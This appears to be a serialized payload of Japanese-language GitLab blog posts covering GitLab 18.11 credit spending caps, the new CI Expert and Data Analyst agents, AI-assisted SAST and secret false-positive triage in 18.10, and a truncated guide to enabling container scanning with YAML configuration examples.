**上限の設定：** サブスクリプションの「GitLabクレジット」設定にある`Customers Portal`で上限を設定します。  \n* **支出上限の自動適用：** オンデマンドの利用量が上限に達すると、次の月次期間が始まるまで、そのサブスクリプションの全ユーザーのDAP（Duo Agent Platform）アクセスが一時停止されます。  \n* **柔軟な調整：** 月の途中で上限を引き上げたり無効にしたりすることで、アクセスを復元できます。\n\n上限は月次期間ごとにリセットされ、変更しない限り設定した上限が引き継がれます。利用データはリアルタイムではなく定期的に同期されるため、上限に達してから適用が有効になるまでの間に、わずかな追加利用が発生する場合があります。詳しくは[GitLabクレジットのドキュメント](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/)をご参照ください。\n\n### ユーザーレベルの支出上限\n\nクレジットの消費量はユーザーによって異なります。これは想定の範囲内ですが、一部のヘビーユーザーがクレジットプールの大部分を占めると、他のメンバーが月末前にアクセスできなくなる可能性があります。\n\nユーザーごとのクレジット上限を設定することで、特定のユーザーが公平な上限を超えて消費することを防げます。\n\n* **一律のユーザー上限：** GitLab GraphQL APIを通じて、サブスクリプション上のすべてのユーザーに均一のクレジット上限を設定できます。サブスクリプションレベルの上限とは異なり、ユーザーごとの上限はすべてのクレジットソースにまたがる、そのユーザーの総消費量に適用されます。  \n* **カスタムのユーザー個別オーバーライド：** 差別化した上限が必要な組織向けに、GraphQL APIを通じて特定ユーザーに個別のクレジット上限を設定できます。たとえば、スタッフエンジニアには高めの割り当てを設定し、それ以外のメンバーには標準の上限を適用するといった運用が可能です。  \n* **個別の適用：** ユーザーが上限に達しても、GitLab全体へのアクセスは維持されます。停止されるのは、次の請求サイクルが始まるまでのDuo Agent Platformのクレジット利用のみです。他のユーザーは、自分自身の上限またはサブスクリプションレベルの上限のいずれか早い方に達するまで、中断なく作業を続けられます。\n\n### 可視化と通知\n\nサブスクリプションレベルの上限に達した場合、GitLabは請求アカウントマネージャーにメール通知を送信します。これにより、上限の引き上げ、次の期間まで待機、クレジットの再配分といった対応を速やかに行えます。\n\nGitLab内では、グループオーナー（GitLab.com）とインスタンス管理者（Self-Managed）が、ユーザーごとの上限に達してブロックされたユーザーを確認し、GraphQL APIを通じて上限を調整することでアクセスを復元できます。\n\n## 予算ガードレールがAI利用のスケールを支援する理由\n\n組織がAI導入を加速させるにあたり、ガードレールは不可欠です。その理由を以下に説明します。\n\n### 予測可能なAI予算\n\nGitLab Duo Agent Platformの利用制御機能は、オンデマンドのGitLabクレジットを活用することで、AIを予算として管理しやすい予測可能な支出項目に変えます。これにより、ソフトウェア開発ライフサイクル全体にわたってエージェントを展開しやすくなり、財務部門への説明、更新の正当化、四半期ごとの支出計画が容易になります。\n\n### ガバナンスとチャージバック\n\n大規模な組織では、AIの消費量を社内予算やコストセンター、部門方針と連携させる必要があります。ユーザーごとの上限は、プラットフォームチームがクレジットを公平に配分し、個人レベルで消費量を追跡するための明確な仕組みを提供します。APIによるインポート機能により、エンタープライズ規模での上限管理も現実的に行えます。GitLabクレジットダッシュボードのユーザーごとの利用データと組み合わせることで、消費パターンを把握し、社内のチャージバックや予算配分プロセスの参考にすることができます。\n\n### スケールへの自信\n\n多くのお客様は、少人数のパイロットグループからGitLab Duo Agent Platformを始めます。利用制御機能は、そのパイロットを組織全体に拡大する際のリスクを排除します。予算を保護するハードな上限が設けられているため、数百人から数千人の開発者にDuo Agent Platformを展開しても安心です。想定より早く利用量が増加した場合でも、上限に達するだけで、予期しない請求は発生しません。\n\n## シートベース課金と可視性の課題に向き合う\n\n多くのAIコーディングツールは、コスト管理にシートベースのアプローチを採用しています。一定数のシートを定額のユーザー単価で購入する、シンプルながらも柔軟性に欠けるモデルです。開発者がツールを1日10回使っても、まったく使わなくても同じ料金を支払います。さらにベンダーがシート料金に加えてプレミアムモデルや超過料金を導入すると、シートベースのライセンスが約束していたコストの予測可能性が損なわれていきます。\n\nGitLabは異なるアプローチを取っています。ハードな上限と一元化されたガバナンスダッシュボードを備えた従量課金制です。チームが実際に使った分だけ支払うという柔軟性と、強制力のある支出上限によるコストの予測可能性を両立しています。\n\n## 実際の利用制御シナリオ\n\n**一例として、月次予算を守りたい中規模のSaaSカスタマーを挙げます。** 200名のエンジニアリング組織が、オンデマンド利用の想定量に合わせたサブスクリプションレベルの上限を設定します。エンジニアリングVPは、新しいチームのオンボーディング中であっても、GitLab Duo Agent Platformの支出が承認済み金額を超えないことを財務部門に自信を持って説明できます。月の途中で上限に近づいた場合、請求アカウントマネージャーが通知を受け取り、上限を引き上げるか次の期間まで待つかを判断できます。\n\n**GitLabでは、チーム間の利用を公平に保ちたい大企業とも多く連携しています。** 開発者2,000名を擁するグローバルな金融サービス会社がユーザーごとの上限を活用し、公平なアクセスを確保しています。複雑なリファクタリングプロジェクトに取り組むスタッフエンジニアにはAPIを通じて高い個別割り当てを設定し、多くの開発者には標準の一律上限を適用しています。クレジットプールを使い切るユーザーはなく、プラットフォームチームはGitLabクレジットダッシュボードのユーザーごとの利用データを活用して消費パターンを把握し、四半期ごとの予算計画に役立てています。\n\n## はじめ方\n\n利用制御機能は、GitLab 18.11を実行しているGitLab.comおよびSelf-Managedの両方のお客様にご利用いただけます。設定場所は、範囲とお客様の役割によって異なります。\n\n**サブスクリプションレベルの上限**\n\n請求アカウントマネージャーは、Customers PortalでサブスクリプションレベルのオンデマンドGitLabクレジット上限を設定します。\n\n1. `Customers Portal`にサインインします。  \n2. サブスクリプションカードで**GitLabクレジット**の設定に移動します。  \n3. 月次のオンデマンドクレジット上限を有効にし、希望する上限値を入力します。\n\n**一律のユーザー上限**\n\n一律のユーザー上限は、名前空間オーナー（GitLab.com）またはインスタンス管理者（Self-Managed）がGitLab GraphQL APIを通じて設定できます。利用可能な設定方法の最新情報については、[GitLabクレジットのドキュメント](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/)をご確認ください。\n\n**カスタムのユーザー個別オーバーライド**\n\n差別化した上限を設定する場合、名前空間オーナー（GitLab.com）とインスタンス管理者（Self-Managed）はプログラムで個別の上限を設定できます。これは自動化やInfrastructure as Codeのワークフローにも適しています。\n\n**利用状況と上限のステータスを確認する**\n\n* **Customers Portal：** 詳細な利用状況と上限のステータスを確認できます。  \n* **GitLab.com：** グループオーナーは**設定 > GitLabクレジット**でブロックされたユーザーを確認できます。  \n* **Self-Managed：** インスタンス管理者は**管理 > GitLabクレジット**で上限のステータスとブロックされたユーザーを確認できます。\n\n## GitLab Duo Agent Platformはスケールの準備ができています\n\n利用制御機能はGitLab 18.11でご利用いただけます。組織全体にGitLab Duo Agent Platformを展開する前に適切なガードレールを待っていた方にとって、今がその時です。上限を設定し、より多くのチームにDuo Agent Platformを展開して、より速いリリースを実現しましょう！\n\n> [GitLabクレジットと利用制御の詳細はこちら](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/)。",[1113],"Bryan Rothwell","GitLab 18.11: GitLabクレジットの予算管理機能",[745,806,719],"GitLab 18.11で新たに導入された支出上限とユーザーごとのクレジット上限により、組織はGitLab Duo Agent Platformを安心してスケールできる予算ガードレールを手に入れます。AIへの支出を予測可能に保ちながら、より多くのチームへの展開を実現します。",{"featured":641,"template":796,"slug":1118},"gitlab-18-11-budget-guardrails-for-gitlab-credits",{"content":1120,"config":1127},{"heroImage":1101,"body":1121,"authors":1122,"updatedDate":876,"date":877,"title":1124,"tags":1125,"description":1126,"category":745},"AIが生成するコードは、それを取り巻く仕組みが追いつけないほどのスピードで増え続けています。 コードが増えれば、レビュー待ちのマージリクエストが積み重なり、設定すべきパイプラインが増え、デリバリーの状況について誰も答える時間がないまま疑問だけが蓄積されていきます。 そして、現在チームが使っているほとんどのツールは、このペースに対応できるように設計されていません。\n\nGitLab 18.11では、AIがほとんど手をつけてこなかった開発ライフサイクルの特定のギャップに対処するため、Duo Agent Platform向けの2つの新しい基盤エージェントが登場します。\n* CI エキスパートエージェント（ベータ版）は、コードを書き終えてから実際にパイプラインを動かすまでの間に生じるギャップを解消します。\n* データアナリストエージェント（一般提供開始）は、コードをリリースした後、そのデリバリーの実態を把握しようとする際に生じるギャップを解消します。\n\n\nこれらは、汎用アシスタントでは解決できない課題領域です。GitLabの外で動くツールでも、YAMLファイルを生成したり質問に答えたりすることはできます。しかし、これまでのパイプラインのパフォーマンス、障害が集中する箇所、実際のMRサイクルタイムといったコンテキストは持ち合わせていません。そうしたコンテキストはGitLabの中にあります。これらのエージェントも同様です。\n## CI エキスパートエージェントで素早くCIをセットアップ\n\nAIによってコードを書くこと自体はこれまでになく簡単になりました。しかし、そのコードを実際に動くパイプラインに乗せるまでのプロセスは、多くのチームにとって数日、あるいは数週間後の課題として残ったまま—もしくは永遠に後回しにされています。空白のページという問題は、エディターの中にはもうありません。今や `.gitlab-ci.yml` の中にあります。\n\nCI設定の経験がない開発者は、YAMLでの言語検出の書き方も、適切なテストコマンドの指定方法も、プッシュ前に結果を検証する手順も知りません。チームは過去のプロジェクトから設定をコピーしてくるか（それが今の状況に合っていなくても）、ドキュメントをつなぎ合わせるか、以前に経験したことのある一人の担当者を待つしかない状況になりがちです。その担当者が不在であれば、CIは「後でやる」課題になります。そして「後で」は「永遠にやらない」になります。\n\nCIが実装されないまま放置されると、その影響はあらゆる場所に現れます。変更は信頼性のある安全網なしにリリースされ、リグレッションはパイプラインではなく本番環境で発覚し、誰も「ビルドを壊した人」と呼ばれたくないために変更が大きく危険なバッチへと膨らんでいきます。やがてチームは暗闇の中で作業することを当然のこととして受け入れるようになり、ドキュメント化されていないノウハウや場当たり的なテストに頼るようになります。すべての変更に組み込まれた、速くて予測可能なフィードバックループとはほど遠い状態です。\n\nベータ版として提供開始となったCI エキスパートエージェントは、そうした摩擦を取り除きます。リポジトリを検査し、使用言語とフレームワークを特定した上で、実際の構成に合わせたビルドとテストのパイプラインを提案—そして Agentic Chat上でわかりやすい言葉で各判断の理由を説明します。目標は、手でYAMLを書くことなく、数分でパイプラインを稼働させることです。\n\nCI エキスパートエージェントの機能：\n\n* リポジトリを認識したパイプライン生成：言語、フレームワーク、テスト設定を自動検出\n* 有効で実行可能なビルド・テスト設定を生成\n* Agentic Chat上で各ステップをわかりやすく説明する、初めてのパイプライン構築ガイド付きフロー\n* 設定の変換なしに使えるネイティブのGitLab CI セマンティクス\n\nGitLabの内部で動作し、実際のパイプラインの動作履歴にアクセスできるため、改善のたびにチームの実際の作業パターンを学習し、静的なサンプルだけに頼ることがありません。\n\u003Ciframe src=\"https://player.vimeo.com/video/1183458036?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"CI/CD Expert Agent\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cbr>\u003C/br>\n\nCI エキスパートエージェントは、Duo Agent Platformが有効な環境において、GitLab.com、セルフマネージド、Dedicatedのいずれでも、Free、Premium、Ultimateの各エディションでご利用いただけます。\n\n## データアナリストエージェントで自然言語によるGitLab データのクエリを実現\n\nAIはチームのリリーススピードを上げました。しかし、その作業の進捗状況に関する基本的な疑問への回答は、以前よりもむしろ難しくなっています。\n\nMRはレビューにどれくらい滞留しているか？どのパイプラインがチームの足を引っ張っているか？デプロイ目標は実際に達成されているか？かつてはダッシュボードをちらりと見るだけで答えられた問いです。しかし今や、コードもチームも複雑さも増した結果、データはGitLabの中に存在するにもかかわらず、アクセスするにはアナリティクスチームへの依頼、ダッシュボードリクエストの提出、あるいはGLQLの習得が必要になっています。\n\nデータアナリストエージェントはそのギャップを解消します。自然言語で質問するだけで、Agentic Chat上に即座に可視化された回答が返ってきます。クエリ言語も不要、ダッシュボードのリクエスト提出も不要、誰かが回答をまとめるまで待つことも不要です。\n\n例えば、このエージェントは以下のようなロールに対して、次のようなトピックに関する問いに回答できます。\n\n* エンジニアリングマネージャー：MRサイクルタイム、プロジェクト別スループット、レビューが止まる箇所\n* 開発者：コントリビューションパターン、自分のMRをブロックしているフラッキーテスト、パイプラインのスピードトレンド\n* DevOpsおよびプラットフォームエンジニア：パイプラインの成功/失敗率、ランナーの使用率、デプロイ頻度\n* エンジニアリングリーダーシップ：ポートフォリオ横断のデプロイ頻度、プロジェクトの健全性メトリクス、リードタイムの比較\n\n18.11で一般提供開始となったこのエージェントは、MR、課題、プロジェクト、パイプライン、ジョブをカバーし、ベータ版から対象範囲が拡大してソフトウェア開発ライフサイクル全体をカバーします。データアナリストエージェントはGitLabの既存データに対してクエリを実行するため、コンテキストは常に最新の状態に保たれ、メンテナンスが必要な外部パイプラインや同期を維持すべきサードパーティツールも不要です。生成されたGitLab Query Language（GLQL）クエリはコピーしてGitLab Flavored Markdownがサポートされる場所ならどこでも使用でき、ワークアイテムやダッシュボードへの直接エクスポートもロードマップに予定されています。\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1183094817?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Data Analyst agent demo\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cbr>\u003C/br>\n\nデータアナリストエージェントは、Duo Agent Platformが有効な環境において、GitLab.com、セルフマネージド、DedicatedのいずれでもFree、Premium、Ultimateの各エディションでご利用いただけます。\n\n## 1つのプラットフォーム、つながったコンテキスト\n\n両エージェントはGitLabの内部で動作し、すでにそこにあるコード、パイプライン、課題、マージリクエストへのアクセスを持ちます。それが、プラットフォームネイティブのAIと切り離されたアシスタントとの違いです。コンテキストは常に最新に保たれ、使えば使うほど有用性が増していきます。CI エキスパートエージェントとデータアナリストエージェントは、AIがコードを速く書く手助けをするだけでなく、作り上げたものを理解し、リリースし、維持するためのプラットフォームに向けた、具体的な2つの前進を体現しています。\n\n> [GitLab Duo Agent Platformの無料トライアルを開始](https://about.gitlab.com/ja-jp/gitlab-duo/)して、これらの基盤AIエージェントをぜひ体験してください。",[1123],"Corinne Dent","GitLab 18.11：CI エキスパートとデータアナリストAIエージェントで開発ギャップを解消",[806,793,745],"GitLab 18.11で新たに追加されたGitLab Duo Agent Platformの2つの基盤エージェントを使って、CIのセットアップとソフトウェア開発ライフサイクルデータのクエリを実行できます。",{"featured":13,"template":796,"slug":1128},"ci-expert-and-data-analyst-ai-agents-target-development-gaps",{"category":104,"slug":757,"posts":1130},[1131,1143,1154],{"content":1132,"config":1141},{"heroImage":784,"body":1133,"authors":1134,"updatedDate":1136,"date":1137,"title":1138,"tags":1139,"description":1140,"category":757},"GitLab 18.10では、脆弱性管理の品質とスピードの向上に焦点を当て、AIを活用したさまざまな新しいセキュリティ機能が導入されました。これらの機能を組み合わせることで、デベロッパーが誤検出の調査に費やす時間を削減し、自動修正をワークフローに直接組み込めるようになるため、セキュリティの専門知識がなくても脆弱性を修正できる環境が実現します。\n\n新機能の概要は以下のとおりです。\n\n* **[静的アプリケーションセキュリティテスト（SAST）の誤検出判定](https://docs.gitlab.com/ja-jp/user/application_security/vulnerabilities/false_positive_detection/)** **の一般提供が開始されました。** このフローでは、LLMによるエージェント型推論を使用して、脆弱性が誤検出である可能性を判定できるため、セキュリティチームと開発チームは重大な脆弱性の修正に優先的に取り組めるようになります。\n* **[エージェント型SAST脆弱性の修正](https://docs.gitlab.com/ja-jp/user/application_security/vulnerabilities/agentic_vulnerability_resolution/)** **がベータ版として提供開始されました。** エージェント型SAST脆弱性解決は、検証済みのSAST脆弱性に対する修正案を含むマージリクエストを自動的に作成します。修正までの時間が短縮され、高度なセキュリティ専門知識の必要になるケースが少なくなります。\n* **[シークレットの誤検出判定機能](https://docs.gitlab.com/ja-jp/user/application_security/vulnerabilities/secret_false_positive_detection/)** **がベータ版として提供開始されました。** このフローは、AIを活用したノイズ削減をシークレット検出にも適用し、ダミーやテスト用のシークレットにフラグを付けてレビューの負担を軽減します。\n\nこれらのフローは、GitLab Duo Agent Platformを使用するGitLab Ultimateのお客様にご利用いただけます。\n\n## SASTの誤検出判定機能でトリアージ時間を短縮\n\n従来のSASTスキャナーは、コードパスが到達可能かどうかや、フレームワークが既にリスクを処理しているかどうかに関係なく、疑わしいコードパターンにすべてフラグ付けしていました。ランタイムコンテキストがなければ、実際の脆弱性と危険に見えるだけの安全なコードを区別できません。\n\nそのため、デベロッパーは誤検出と判明するまで、検出結果の調査に何時間も費やす可能性がありました。時間の経過とともにレポートへの信頼が低下し、実際のリスクの修正を担当するチームの作業が遅延する原因となっていたのです。\n\n各SASTスキャンの後、GitLab Duo Agent Platformは新しい「致命的」と「高」の重大度の検出結果を自動的に分析し、以下の情報を付加します。\n\n* 検出結果が誤検出である可能性を示す信頼度スコア\n* AI生成による判定理由の説明\n* UIにより「誤検出の可能性が高い」と「実際の脆弱性の可能性が高い」を簡単に目視で識別できるバッジ\n\nこれらの検出結果は、以下のように[脆弱性レポート](https://docs.gitlab.com/ja-jp/user/application_security/vulnerability_report/)に表示されます。レポートをフィルタリングして「誤検出ではない」とマークされた検出結果を絞り込むことで、チームはノイズの選別ではなく実際の脆弱性への対応に時間を使えるようになります。\n\n![脆弱性レポート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1773844787/i0eod01p7gawflllkgsr.png)\n\nGitLab Duo Agent Platformの評価はあくまで推奨事項です。すべての誤検出の判定はユーザーが管理でき、エージェントの推論をいつでも監査して信頼性の高いモデルを構築できます。\n\n## 脆弱性を自動修正に変換\n\n実際に脆弱性であると判明しても、まだ作業の半分が完了したにすぎません。修正には、コードパスの理解、安全なパッチの作成、他の部分への影響がないことの確認が必要です。\n\nSASTの誤検出判定フローによって脆弱性が誤検出ではない可能性が高いと判定された場合、エージェント型SAST脆弱性解決フローが自動的に以下を実行します。\n\n1. リポジトリから脆弱なコードとその周辺のコンテキストを読み取る\n2. 高品質な修正案を生成する\n3. 自動テストによって修正を検証する\n4. 以下を含む修正案のマージリクエストを作成する：\n\n   * 具体的なコード変更\n   * 信頼度スコア\n   * 変更内容とその理由の説明\n\nこのデモでは、GitLabがSAST脆弱性を検出からレビュー可能なマージリクエストまで自動的に処理する様子をご覧いただけます。エージェントがコードを読み取り、修正を生成・検証し、明確で説明可能な変更を含むMRを作成する流れをご確認ください。デベロッパーにセキュリティの専門知識がなくても、より迅速に修正を行えるようになります。\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1174573325?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab 18.10 AI SAST False Positive Auto Remediation\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\nAI生成の提案と同様に、マージを行う前に提案されたマージリクエストを慎重にレビューしてください。\n\n## 実際のシークレットを特定\n\nシークレット検出は、チームが結果を信頼できて初めて有用なものとなります。レポートにテスト用の認証情報やプレースホルダーの値、サンプルトークンが大量に含まれていると、デベロッパーは実際の漏洩を修正するよりも、ノイズのレビューに時間を浪費してしまう可能性があります。その結果、修正が遅延し、スキャンへの信頼が低下しかねません。\n\nシークレットの誤検出判定機能は、チームが重要なシークレットに集中し、より迅速にリスクを軽減できるよう支援します。この機能がデフォルトブランチで実行されると、自動的に以下が行われます。\n\n1. 各検出結果を分析し、テスト用の認証情報、サンプル値、ダミーシークレットの可能性を特定する\n2. 検出結果が実際のリスクか誤検出の可能性が高いかの信頼度スコアを付与する\n3. 実際のシークレット、ノイズのいずれかとして扱われる理由の説明を生成する\n4. 脆弱性レポートにバッジを追加し、デベロッパーがステータスを一目で確認できるようにする\n\nデベロッパーは、脆弱性レポートからシークレット検出の結果に対して「**誤検出を確認**」を選択することで、この分析を手動でトリガーすることもできます。リスクのない検出結果を除外し、実際のシークレットへの対応をより速やかに開始できます。\n\n## AIを活用したセキュリティ機能を今すぐお試しください\n\nGitLab 18.10では、SASTとシークレット検出における誤検出ノイズの削減から、修正案を含むマージリクエストの自動生成まで、脆弱性ワークフロー全体をカバーする機能が導入されました。\n\nAIを活用したセキュリティ機能がレビュー時間の短縮と検出結果のマージ可能な修正への変換にどのように役立つかをご確認いただくには、[GitLab Duo Agent Platformの無料トライアルを今すぐ開始](https://about.gitlab.com/ja-jp/gitlab-duo-agent-platform/?utm_medium=blog&utm_source=blog&utm_campaign=eg_apac_brand_x_x_ja_gitlabjapanblogseo_gitlab-18-10-brings-ai-native-triage-and-remediation)してください。",[1135],"Alisa Ho","2026-03-25","2026-03-19","GitLab 18.10がAIネイティブなトリアージと修正機能を導入",[745,757,793],"ノイズを排除して実際の脆弱性を特定し、修正案につなげるGitLab Duo Agent Platformの機能をご紹介します。",{"featured":641,"template":796,"slug":1142},"gitlab-18-10-brings-ai-native-triage-and-remediation",{"content":1144,"config":1152},{"heroImage":1145,"body":1146,"authors":1147,"updatedDate":1038,"date":848,"title":1149,"tags":1150,"description":1151,"category":757},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772721753/frfsm1qfscwrmsyzj1qn.png","コンテナの脆弱性は、次のデプロイメントを待ってくれるわけではありません。イメージのビルド時や、コンテナが本番環境で稼働している間など、あらゆるタイミングで発生する可能性があります。\nGitLab はこうした現実に対応するため、コンテナライフサイクルのさまざまな段階に対応した複数のコンテナスキャンアプローチを提供しています。\n\n本ガイドでは、GitLab が提供するコンテナスキャンの種類、各機能の有効化方法、および初期設定に役立つ一般的な構成についてご説明します。\n\n## コンテナスキャンが重要な理由\n\nコンテナイメージのセキュリティ脆弱性は、アプリケーションライフサイクル全体にわたってリスクをもたらします。ベースイメージ、OSパッケージ、アプリケーションの依存関係はいずれも、攻撃者が積極的に悪用する脆弱性を含んでいる可能性があります。コンテナスキャンはこれらのリスクを早期に、本番環境に到達する前に検出し、利用可能な場合は修正方法を提供します。\n\nコンテナスキャンはソフトウェアコンポジション分析（SCA）の重要なコンポーネントであり、コンテナ化されたアプリケーションが依存する外部依存関係を把握し、保護するために役立ちます。\n\n## GitLab コンテナスキャンの5つの種類\n\nGitLab は5つの異なるコンテナスキャンアプローチを提供しており、それぞれがセキュリティ戦略において固有の目的を果たします。\n\n### 1. パイプラインベースのコンテナスキャン\n\n* 機能：CI/CDパイプラインの実行中にコンテナイメージをスキャンし、デプロイ前に脆弱性を検出します。\n* 最適な用途：シフトレフトセキュリティ、脆弱性のあるイメージが本番環境に到達するのを防止\n* 利用可能なプラン：Free、Premium、Ultimate（Ultimateではより高度な機能を利用可能）\n* [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/container_scanning/)\n\nGitLab は Trivy セキュリティスキャナーを使用してコンテナイメージの既知の脆弱性を分析します。パイプラインの実行時にスキャナーがイメージを検査し、詳細なレポートを生成します。\n\n#### パイプラインベースのコンテナスキャンを有効にする方法\n\n**オプション A：事前設定済みのマージリクエスト**\n\n* プロジェクトで **Secure > セキュリティ設定** に移動します。\n* 「コンテナスキャン」の行を見つけます。\n* **マージリクエストで設定** を選択します。\n* 必要な設定を含むマージリクエストが自動的に作成されます。\n\n**オプション B：手動設定**\n\n* `.gitlab-ci.yml` に以下を追加します。\n\n```yaml\ninclude:\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n```\n\n#### 一般的な設定\n\n**特定のイメージをスキャンする：**\n\n特定のイメージをスキャンするには、`container_scanning` ジョブの `CS_IMAGE` 変数を上書きします。\n\n```yaml\ninclude:\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n\ncontainer_scanning:\n  variables:\n    CS_IMAGE: myregistry.com/myapp:latest\n```\n\n**重大度のしきい値でフィルタリングする：**\n\n特定の重大度基準を持つ脆弱性のみを検出するには、`container_scanning` ジョブの `CS_SEVERITY_THRESHOLD` 変数を上書きします。以下の例では、重大度が **High** 以上の脆弱性のみが表示されます。\n\n```yaml\ninclude:\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n\ncontainer_scanning:\n  variables:\n    CS_SEVERITY_THRESHOLD: \"HIGH\"\n```\n\n#### マージリクエストでの脆弱性の確認\n\nマージリクエスト内でコンテナスキャンの脆弱性を直接確認することで、セキュリティレビューをシームレスかつ効率的に実施できます。CI/CDパイプラインにコンテナスキャンを設定すると、GitLab はマージリクエストの[セキュリティウィジェット](https://docs.gitlab.com/ja-jp/user/project/merge_requests/widgets/#application-security-scanning)に検出された脆弱性を自動的に表示します。\n\n![マージリクエストに表示されたコンテナスキャンの脆弱性](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547514/lt6elcq6jexdhqatdy8l.png \"マージリクエストに表示されたコンテナスキャンの脆弱性\")\n\n* マージリクエストの「セキュリティスキャン」セクションまでスクロールすると、コンテナイメージで新たに検出された脆弱性と既存の脆弱性の概要が確認できます。\n* **脆弱性** をクリックすると、重大度レベル、影響を受けるパッケージ、利用可能な修正ガイダンスなど、検出内容の詳細情報にアクセスできます。\n\n![GitLab セキュリティ - MRでの詳細表示](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547514/hplihdlekc11uvpfih1p.png)\n\n![GitLab セキュリティ - MRでの詳細表示](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547513/jnxbe7uld8wfeezboifs.png \"MRでのコンテナスキャン脆弱性の詳細\")\n\nこの可視性により、開発者とセキュリティチームはコンテナの脆弱性が本番環境に到達する前に発見・対処できるようになり、セキュリティがコードレビュープロセスに統合されます。\n\n#### 脆弱性レポートでの脆弱性の確認\n\nマージリクエストのレビューに加え、GitLab はプロジェクト内のすべてのコンテナスキャン結果を一元的に確認できる[脆弱性レポート](https://docs.gitlab.com/ja-jp/user/application_security/vulnerability_report/)を提供しており、セキュリティチームに包括的な可視性をもたらします。\n\n![コンテナスキャンでフィルタリングされた脆弱性レポート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547524/gagau279fzfgjpnvipm5.png \"コンテナスキャンでフィルタリングされた脆弱性レポート\")\n\n* プロジェクトのサイドバーで **セキュリティとコンプライアンス > 脆弱性レポート** に移動してレポートにアクセスします。\n* ここでは、ブランチ全体で検出されたすべてのコンテナ脆弱性が集約されて表示され、重大度、ステータス、スキャナーの種類、特定のコンテナイメージでフィルタリングする強力なオプションが利用できます。\n* 脆弱性をクリックすると、脆弱性ページにアクセスできます。\n\n![脆弱性ページ - 1番目のビュー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547520/e1woxupyoajhrpzrlylj.png)\n\n![脆弱性ページ - 2番目のビュー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547521/idzcftcgjc8eryixnbjn.png)\n\n![脆弱性ページ - 3番目のビュー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547522/mbbwbbprtf9anqqola10.png \"コンテナスキャン脆弱性の詳細\")\n\n[脆弱性の詳細](https://docs.gitlab.com/ja-jp/user/application_security/vulnerabilities/)では、影響を受けるコンテナイメージとレイヤーが正確に示されるため、脆弱性の発生源を容易に追跡できます。脆弱性をチームメンバーに割り当て、ステータスを変更（検出済み、確認済み、解決済み、却下済み）し、コラボレーションのためのコメントを追加し、修正作業の追跡のために関連するイシューをリンクすることができます。\n\nこのワークフローにより、脆弱性管理がスプレッドシートによる管理から開発プロセスの一部へと変わり、コンテナセキュリティの検出結果が体系的に追跡・優先順位付け・解決されるようになります。\n\n#### 依存関係リストの確認\n\nGitLab の[依存関係リスト](https://docs.gitlab.com/ja-jp/user/application_security/dependency_list/)は、コンテナイメージ内のすべてのコンポーネントをカタログ化した包括的なソフトウェア部品表（SBOM）を提供し、ソフトウェアサプライチェーンの完全な透明性をもたらします。\n\n* **セキュリティとコンプライアンス > 依存関係リスト** に移動すると、プロジェクト全体でコンテナスキャンが検出したすべてのパッケージ、ライブラリ、依存関係のインベントリにアクセスできます。\n* このビューは、ベースOSパッケージからアプリケーションレベルの依存関係まで、コンテナ内で実際に稼働しているものを把握するために非常に役立ちます。\n\n![GitLab 依存関係リスト](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547513/vjg6dk3nhajqamplroji.png \"GitLab 依存関係リスト（SBOM）\")\n\nパッケージマネージャー、ライセンスの種類、または脆弱性のステータスでリストをフィルタリングすることで、セキュリティリスクやコンプライアンス上の問題をもたらすコンポーネントを素早く特定できます。各依存関係エントリには関連する脆弱性が表示されるため、単独の検出結果としてではなく、実際のソフトウェアコンポーネントのコンテキストでセキュリティの問題を把握できます。\n\n### 2. レジストリ向けコンテナスキャン\n\n* 機能：`latest` タグで GitLab コンテナレジストリにプッシュされたイメージを自動的にスキャンします。\n* 最適な用途：手動のパイプラインを実行することなく、レジストリイメージの継続的なモニタリングを実施\n* 利用可能なプラン：Ultimate のみ\n* [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/container_scanning/#container-scanning-for-registry)\n\n`latest` タグが付いたコンテナイメージをプッシュすると、GitLab のセキュリティポリシーボットがデフォルトブランチに対してスキャンを自動的にトリガーします。パイプラインベースのスキャンとは異なり、このアプローチは継続的脆弱性スキャンと連携して、新たに公開されたアドバイザリーを監視します。\n\n#### レジストリ向けコンテナスキャンを有効にする方法\n\n1. **Secure > セキュリティ設定** に移動します。\n2. **レジストリ向けコンテナスキャン** セクションまでスクロールします。\n3. 機能をオンに切り替えます。\n\n![レジストリ向けコンテナスキャン](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547512/vntrlhtmsh1ecnwni5ji.png \"レジストリ向けコンテナスキャンの切り替えスイッチ\")\n\n#### 前提条件\n\n* プロジェクトのメンテナーロール以上\n* 